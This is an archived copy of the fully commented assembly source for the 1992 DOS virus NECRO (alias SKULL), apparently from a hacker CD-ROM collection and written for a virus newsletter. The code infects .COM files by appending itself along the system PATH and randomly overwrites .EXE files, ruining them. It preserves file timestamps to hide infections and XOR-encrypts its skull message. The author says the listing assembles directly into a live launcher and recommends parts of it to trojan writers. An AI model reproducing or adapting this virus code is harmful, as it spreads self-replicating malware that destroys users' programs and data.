home *** CD-ROM | disk | FTP | other *** search
/ Hacker Chronicles 2 / HACKER2.BIN / 286.NECRO.A86 < prev    next >
Text File  |  1993-01-03  |  22KB  |  396 lines

  1. ; A86 SOURCE CODE for:
  2. ;
  3. ;          ++===================================================++
  4. ;          ||           NECRO (A.K.A. 'SKULL' virus)            ||
  5. ;          ||           The 666 byte Dual Replicator            ||
  6. ;          ||     DEC 1992 by Primal Fury, Lehigh Valley, PA    ||
  7. ;          ++===================================================++
  8. ;                   -=Prepared for Crypt Newsletter 11=-
  9. ;
  10. ; Here's a virus that's actually two viruses in one.  The main virus is a
  11. ; a direct action, appending .COM infector.  It will search the system path
  12. ; for .COMs to infect, and may infect files on the path in preference to 
  13. ; to those in the current directory (if no path is set, it stays in the
  14. ; current directory).  Roughly one out of every eight infections (on a ran-
  15. ; dom basis) will be non-standard.  In these infections, NECRO will toggle to 
  16. ; an overwriting .EXE infector.  
  17. ;   
  18. ;  
  19. ; This .EXE infector is composed of much of the same code as the 
  20. ; COM infector -- the virus alternates between the two modes of infection 
  21. ; using a 'master switch' which is hooked up to a simple randomization 
  22. ; engine.  The master switch, when thrown, trips a series of auxilliary
  23. ; switches which alter the virus' behavior.  This saves on bytes and is 
  24. ; therefore much better than having the virus drop an entirely independent
  25. ; .EXE overwriter.  I hope to expand upon this 'self-programming' concept
  26. ; in future viruses.
  27.   
  28. ; Infected .COM's should function as intended after the viral code appended to 
  29. ; them has finished doing its thing. But infected .EXE's are ruined.  These 
  30. ; (provided they are under about 64K in length) will, when executed, pass 
  31. ; their illness on to the next uninfected .EXE within the current directory, 
  32. ; displaying the following graphic & message:
  33.  
  34. ;   ▄▄████████▄▄           
  35. ; ▄█████▓████████        
  36. ;▐█▓█████████████▌   You cant execute this file:         
  37. ;▐█████▓▓███▀   █    Its already dead!           
  38. ; ██████▓▓██▄▄▄█▀          
  39. ;  ████▓▓▀▓████▌           
  40. ;   ▀▀██▓▓▄▐▓███▌          
  41. ;           ▓▓▌▌▌              
  42.  
  43. ; SKULL will then return the baffled user to the DOS prompt. I leave it to  
  44. ; your imagination to picture the consternation on the novice's face 
  45. ; as he tries to isolate the source of this overwriting infection which 
  46. ; seems to pop up again and again in different directories.  A very 
  47. ; observant user may notice a file length increase of exactly 666 bytes in 
  48. ; infected .COM's.  Infected .EXE's will not increase in length unless they  
  49. ; are less than ~200 bytes to begin with.  Note that overwritten .EXE's larger  
  50. ; than 64K will fail to load and will be non-infectious. Like Popoolar 
  51. ; Science, the virus renders these programs into a .COM-like in structure. 
  52. ; DOS will NOT execute these files.  In any case, the programs are ruined  
  53. ; by SKULL.  As of this release, NECRO avoids files that are read-only or 
  54. ; hidden, so these files are be safe from the virus (for now...)
  55.   
  56. ; CREDITS:  DARK ANGEL   --  for his COM infector replicatory code. (D.A.)  
  57. ;           NOWHERE MAN  --  for his VCL 1.0's path-searching routine. (N.M.)
  58. ;           
  59. ;  
  60. ; Except where noted, I have commented the code with the novice 
  61. ; programmer in mind.  In the places so noted, D.A.'s and N.M.'s com-
  62. ; ments, supplied from VCL 1.0 and PS-MPC assembly libraries, have been 
  63. ; left intact.
  64.  
  65. ; To assemble, use Isaacson's A86 to generate a .COMfile directly from
  66. ; this listing.  You will have a live NECRO launcher. MASM/TASM
  67. ; compatible assemblers will require the addition of a declarative pair.
  68. ;
  69. ; Partial viral signature suitable for loading into TBScan's VIRSCAN.DAT,
  70. ; SCAN, or F-PROT 2.0x:
  71. ; [Necro]
  72. ; A9 01 00 74 29 E8 6A 00 8C C8 8E D8 8E C0 32 C0  
  73.  
  74.   
  75.   Start:  db      0e9h     ; jump to find_start
  76.           dw      0
  77.   Find_start:  call    next              ;common technique to allow virus to
  78.   next:   pop     bp                     ;find its own code.  On exit, bp
  79.           sub     bp, offset next        ;points to start of code.
  80.           lea     si, [bp+offset stuff]  ;Prepare to restore orig. 3 bytes.
  81.           mov     di, 100h               ;push 100h, where all COMs start in
  82.           push    di                     ;memory, & where control will be
  83.                                          ;returned to host file.
  84.           movsw                          ;restore the 3 bytes formerly relo-
  85.           movsb                          ;cated by the virus upon infection.
  86.           mov     di,bp                  ;point DI to start of virus.
  87.           lea     dx, [bp+offset dta]    ;set new Disk Transfer Address, so
  88.           call    set_dta                ;virus won't fuck up original.
  89.           call    search_files           ;call path-search/infection routine.
  90.           jmp     quit                   ;when done, return control to 
  91.                                          ;host file.
  92.           
  93.   ;Nowhere Man's VCL 1.0 path search routine, slightly modified for 
  94.   ;compatibility with Dark Angel's code, and with 'master infection-mode 
  95.   ;switch' added.  N.M.'s original comments have been retained for your 
  96.   ;enlightenment.    
  97.  
  98. search_files:
  99.           mov     bx,di                   ; BX points to the virus
  100.           push    bp                      ; Save BP
  101.           mov     byte ptr [bp+offset pathstore],'\'  ;Start with a backslash
  102.           mov     ah,047h                 ; DOS get current dir function
  103.           xor     dl,dl                   ; DL holds drive # (current)
  104.           lea     si,[bp+offset pathstore+1] ; SI points to 64-byte buffer
  105.           int     021h
  106.           call    traverse_path           ; Start the traversal
  107.  
  108. traversal_loop: 
  109.           cmp     word ptr [bx + path_ad],0     ; Was the search unsuccessful?
  110.           je      done_searching          ; If so then we're done
  111.           call    found_subdir            ; Otherwise copy the subdirectory
  112.           mov     ax,cs                   ; AX holds the code segment
  113.           mov     ds,ax                   ; Set the data and extra
  114.           mov     es,ax                   ; segments to the code segment
  115.           xor     al,al                   ; Zero AL
  116.           stosb                           ; NULL-terminate the directory
  117.           mov     ah,03Bh                 ; DOS change directory function
  118.           lea     dx,[bp+offset pathstore+65] ; DX points to the directory
  119.           int     021h
  120.                                                                     
  121.           ;The Master Switch, tied whimsically to the system clock:
  122.  
  123.           mov     ah,2ch                  ;DOS get system time.                      
  124.           int     21h                     ;        
  125.           cmp     dl,13                   ;is 1/100th second > 13?
  126.           jg      call_infector           ;if so, stay in COM infector
  127.                                           ;mode (the default).
  128.           mov     si,3                    ;throw switch for EXE infect.
  129.  
  130.           ;back to Nowhere Man's code:
  131.  
  132. call_infector:  
  133.           push    di
  134.           call    find_files              ; Try to infect a file.
  135.           pop     di
  136.           jnc     done_searching          ; If successful, exit
  137.           jmp     short traversal_loop    ; Keep checking the PATH
  138.  
  139. done_searching: 
  140.           mov     ah,03Bh                 ; DOS change directory function
  141.           lea     dx,[bp+offset pathstore]   ; DX points to old directory
  142.           int     021h
  143.           cmp     word ptr [bx + path_ad],0  ; Did we run out of directories?
  144.           jne     at_least_tried          ; If not, exit
  145.           stc                             ; Set carry flag for failure
  146.  
  147. at_least_tried: 
  148.           pop     bp                      ; Restore BP
  149.           ret                             ; Return to caller
  150.  
  151. com_mask        db      "*.COM",0               ; Mask for all .COM files
  152.  
  153.  
  154. traverse_path:   
  155.           mov     es,word ptr cs:[002Ch]  ; ES holds the enviroment segment
  156.           xor     di,di                   ; DI holds the starting offset
  157.  
  158. find_path:      
  159.           lea     si,[bx + ath_string]    ; SI points to "PATH="
  160.           lodsb                           ; Load the "P" into AL
  161.           mov     cx,08000h               ; Check the first 32767 bytes
  162.           repne   scasb                   ; Search until the byte is found
  163.           mov     cx,4                    ; Check the next four bytes
  164.  
  165. check_next_4:   
  166.           lodsb                           ; Load the next letter of "PATH="
  167.           scasb                           ; Compare it to the environment
  168.           jne     find_path               ; If there not equal try again
  169.           loop    check_next_4            ; Otherwise keep checking
  170.  
  171.           mov     word ptr [bx + path_ad],di      ; Save the PATH address
  172.           mov     word ptr [bx + path_ad + 2],es  ; Save the PATH's segment
  173.           ret                             ; Return to caller
  174.  
  175. ath_string      db      "PATH="           ; The PATH string to search for
  176. path_ad         dd      ?                 ; Holds the PATH's address
  177.  
  178. found_subdir:    
  179.           lds     si,dword ptr [bx + path_ad]     ; DS:SI points to PATH
  180.           lea     di,[bp+offset pathstore+65] ; DI points to the work buffer
  181.           push    cs                      ; Transfer CS into ES for
  182.           pop     es                      ; byte transfer
  183.  
  184. move_subdir:    
  185.           lodsb                           ; Load the next byte into AL
  186.           cmp     al,';'                  ; Have we reached a separator?
  187.           je      moved_one               ; If so we're done copying
  188.           or      al,al                   ; Are we finished with the PATH?
  189.           je      moved_last_one          ; If so get out of here
  190.           stosb                           ; Store the byte at ES:DI
  191.           jmp     short move_subdir       ; Keep transfering characters
  192.  
  193. moved_last_one: 
  194.           xor     si,si                   ; Zero SI to signal completion
  195.  
  196. moved_one:      
  197.           mov     word ptr es:[bx + path_ad],si ; Store SI in the path address
  198.           ret                             ; Return to caller
  199.  
  200.  
  201.  
  202.   ;O.K. -- Now here's an important 'architectural' point:  The following 
  203.   ;code (down to the next inset) will never be executed within the COM 
  204.   ;appender (that viral code jumps over it).  It will, however be the first 
  205.   ;thing executed within overwritten EXE files.  Why?  Because in EXE infec-
  206.   ;tion mode, everything from EXFECT on down (but nothing previous) is 
  207.   ;written over the beginning of the EXE host file.
  208.  
  209.   exfect:       call    next_two            ;Here again we see the old trick
  210.                                             ;for pointing BP to start of  
  211.   next_two:     pop     bp                  ;viral code.  (possibly should
  212.                 sub     bp, offset next_two ;have been subroutined [?]).
  213.                 mov     si,3                ;throw master switch for EXE    
  214.                                             ;infection, so infection code
  215.                                             ;below knows to use that mode!
  216.                 lea     dx,[bp+offset dta]  ;set DTA:  This would normally     
  217.                 call    set_dta             ;be utterly ridiculous (!) in an
  218.                                             ;overwriting virus but is used
  219.                                             ;here to maintain compatibility
  220.                                             ;with the infection code.      
  221.                 call    find_files          ;try to infect another EXE.
  222.                 jmp     prequit             ;display message & quit to DOS.
  223.  
  224.   ;Now we're back to Dark Angel's code, expanded to save & restore file 
  225.   ;date/time-stamp, and of course to accomodate the new EXE overwriting code 
  226.   ;and infection-mode 'switching system'.  This is where infection actually 
  227.   ;takes place.
  228.  
  229.   find_files:   
  230.           
  231.           push    bp                ;for compatibility with path-search.         
  232.           mov     ah, 4eh           ;phunction phor phinding phirst phile 
  233.                                     ;that phits phile-mask.
  234.   tryanother:
  235.           lea     dx, [bx+com_mask] ;by default, look for a .COM extension. 
  236.           cmp     si, 3             ;is the EXE infector switch thrown?
  237.           jne     short look        ;if not go on, else qeue up '*.EXE' mask
  238.           lea     dx, [bp+exemask]  ;in place of '*.COM'.  
  239.  
  240.   look:    
  241.           xor     cx, cx            ;attribute mask - find only normal
  242.           int     21h               ;attributes.
  243.           jnc     open_file         ;Have we run out of candidates in this
  244.           pop     bp                ;directory?  If not go on, else return.
  245.           ret                       ;note: a candidate file matches the file
  246.                                     ;mask & has normal attributes.
  247.   open_file:
  248.           mov     ax, 3D02h              ;DOS open file function.
  249.           lea     dx, [bp+offset dta+30] ;get file name out of DTA (put there
  250.                                          ;for us by the 4eh or 4fh function).
  251.           int     21h
  252.           xchg    ax, bx
  253.           mov     ah, 3fh             ;read the first 3 bytes of file & put
  254.           lea     dx, [bp+stuff]      ;them in 'stuff' buffer, where we can
  255.           mov     cx, 3               ;inspect them for previous infection.
  256.           int     21h
  257.           cmp     si,3                ;is the EXE infector switch thrown?
  258.           jne     short comcheck      ;if not, use the COM file checker.
  259.           mov     di,dx               ;otherwise, check EXE for infection.
  260.           cmp     byte ptr [di], 4dh  ;is the first byte of the EXE an 'M'?
  261.           jne     short searchloop    ;no? then already fucked. Keep looking.
  262.           jmp     infect_file         ;otherwise let's infect it.
  263.  
  264.   comcheck:                                      ;DARK ANGEL'S COMMENTS: 
  265.           mov     ax, word ptr [bp+dta+26]       ;"ax = filesize
  266.           mov     cx, word ptr [bp+stuff+1]      ;jmp location
  267.           add     cx, eov - find_start + 3       ;convert to filesize
  268.           cmp     ax, cx                         ;if same, already infected
  269.           jnz     short infect_file              ;so quit out of here"
  270.           
  271.   searchloop:                          
  272.           call    close               ;close the file.
  273.           mov     ah, 4fh             ;DOS 'find next file' function.
  274.           jmp     short tryanother    ;go back up & try to find new victim.
  275.  
  276.   infect_file:
  277.           mov     cx, word ptr [bp+dta+22]       ;Read file date & time
  278.           mov     dx, word ptr [bp+dta+24]       ;stamps from DTA & store
  279.           push    cx                             ;them for retrieval after
  280.           push    dx                             ;infection is complete.
  281.           cmp     si, 3                          ;branch if this is to be
  282.           jne     short comfect                  ;a COM infection.  other-
  283.                                                  ;wise, we now replicate the
  284.                                                  ;EXE overwriting virus.
  285.           xor     al, al                         ;go to the beginning of
  286.           call    f_ptr                          ;the file.
  287.           mov     ah, 40h                        ;write to file function.
  288.           mov     cx, eov - exfect               ;write EXFECT through EOV   
  289.           lea     dx, [bp+exfect]                ;to the EXE file.  [another 
  290.           int     21h                            ;EXE is now our slave.]
  291.           jmp     short finishfect               ;now, finish up.
  292.                                                
  293.   comfect:                                       ;COM infection routine.             
  294.                                                  ;SAYETH DARK ANGEL:
  295.                                           ;"Calculate the offset of the jmp.
  296.           sub     ax, 3                          ;ax = filesize - 3"
  297.           mov     word ptr [bp+writebuffer], ax  ;store jump offset in buffer.
  298.           xor     al, al                         ;null AL (write will start
  299.           call    f_ptr                          ;at byte 0 of file.  move
  300.                                                  ;file pointer there).    
  301.           mov     ah, 40h                        ;write to file function.
  302.           mov     cx, 3                          ;we'll write 3 bytes, namely
  303.           lea     dx, [bp+e9]                    ;the contents of E9 buffer.
  304.           int     21h                            ;victim file now begins with
  305.                                                  ;a jump to the viral code!
  306.           mov     al, 2                          ;now move file pointer to
  307.           call    f_ptr                          ;the end of the victim file.
  308.           mov     ah, 40h                        ;write to file again.
  309.           mov     cx, eov - find_start           ;Namely, write the main
  310.           lea     dx, [bp+find_start]            ;viral code.
  311.           int     21h                            ;virus is now appended to
  312.                                                  ;the file.
  313.   finishfect:                                    ;now to clean up a little.
  314.           pop     dx                             ;get old file date/time-
  315.           pop     cx                             ;stamp off of stack.
  316.           mov     ax, 5701h                      ;DOS set file date/time
  317.           int     21h                            ;stamp. (Otherwise, they
  318.                                                  ;would be left set to date
  319.                                                  ;& time of infection).
  320.           pop     bp                             ;path-searcher will want 
  321.                                                  ;it's old bit pointer back.
  322.   close:
  323.           mov     ah, 3eh                        ;DOS close file function.
  324.           int     21h
  325.           ret                                    ;return to CALL_INFECTOR.
  326.  
  327.                                                ;end of infection routine.
  328.           
  329.   primal          db     "╜╬┼├╥╧╜íáΓ∙á╨≥Θφß∞á╞⌡≥∙"     ;an encrypted text            
  330.           ;string, mainly here to pad appended virus length out to 666 
  331.           ;bytes.  'Tight Code' purists will shit a brick over this.                 
  332.  
  333.   ;the COM infector never uses the PREQUIT routine below.  Only the EXFECT 
  334.   ;routine (which is only used by the EXE overwriting virus, for reasons ex-
  335.   ;plained in the inset above EXFECT) jumps to it.  It's the EXE infector's 
  336.   ;message payload.  PREQUIT uses a simple encryption/decryption mechanism 
  337.   ;to keep the message hidden from file viewers & such.  It may have been 
  338.   ;better (albeit a bit costlier in speed & bytes) to encrypt the entire 
  339.   ;virus (preferably, with polymorphic capabilities tossed in).  I hope to 
  340.   ;make this mod in my next variant.  But for now, trojan programmers might 
  341.   ;find this routine of interest:
  342.  
  343.   prequit:                          
  344.            lea    si,[bp+offset msg]  ;queue up message to be displayed.
  345.            mov    cx,204              ;CX holds length of message.
  346.   
  347.   xorloop:                            ;loop will decrypt & display message.
  348.            lodsb                      ;load next byte of message into AL.
  349.            xor    al,128              ;XOR the byte by our key.
  350.            mov    ah,0eh              ;BIOS 'teletype' write to screen (the
  351.            int    10h                 ;the character is already in AL).
  352.            loop   xorloop             ;loop until CX's # of bytes processed.
  353.            mov    ax,4c00h            ;exit to DOS function, will return   
  354.            int    21h                 ;user to DOS prompt.
  355.  
  356. ; Here's the encrypted version of our 'can't execute' message.  Note that
  357. ; this odd byte pattern may look suspicious to someone in the know using a
  358. ; file viewer, but then, so would the unencrypted file_masks and "PATH="!
  359.  
  360.   msg      db      "ìèáááá\\[[[[[[[[\\ìèáá\[[[[[2[[[[[[[[ìèá^[2[[[[[[[["
  361.            db      "[[[[[]ááá┘∩⌡áπßε⌠áσ°σπ⌡⌠σá⌠ΦΘ≤áµΘ∞σ║ìèá^[[[[[22[[[_"
  362.            db      "ááá[áááá╔⌠≤áß∞≥σßΣ∙áΣσßΣíìèáá[[[[[[22[[\\\[_ìèááá[["
  363.            db      "[[22_2[[[[]ìèáááá__[[22\^2[[[]ìèáááááááááááá22]]]ìè"
  364.  
  365. ; D.A. SAYS: "Restore the DTA and return control to the original program
  366.   quit:   mov     dx, 80h             ;Restore current DTA to
  367.                                       ;the default @ PSP:80h
  368.   set_dta:
  369.           mov     ah, 1ah             ;Set disk transfer address"
  370.           int     21h                 ;so, let it be written,              
  371.           ret                        ;so, let it be done.
  372.  
  373.   f_ptr:  mov     ah, 42h             ;DOS move file pointer
  374.           xor     cx, cx              ;DARK ANGEL:       
  375.           cwd                         ;"equivalent to: xor dx, dx"
  376.           int     21h
  377.           ret
  378.                            
  379.   exemask  db      "*.EXE",0          ;file-mask for EXEs.
  380.   
  381.   ; All commentary from here down is the DARKANGELMEISTER's.  Hope you found
  382.   ; the code useful and/or informative.  P.F. signing off...       
  383.                        
  384.   ; Original three bytes of the infected file
  385.   ; Currently holds a INT 20h instruction and a null byte 
  386.   stuff   db      0cdh, 20h, 0
  387.   e9      db      0e9h
  388.   eov equ $                                      ; End of the virus
  389.   ; The following variables are stored in the heap space (the area between
  390.   ; the stack and the code) and are not part of the virus that is written
  391.   ; to files.
  392.   writebuffer dw  ?                              ; Scratch area holding the
  393.                                                  ; JMP offset
  394.   dta         db 42 dup (?)
  395.   pathstore   db 135 dup (?)
  396.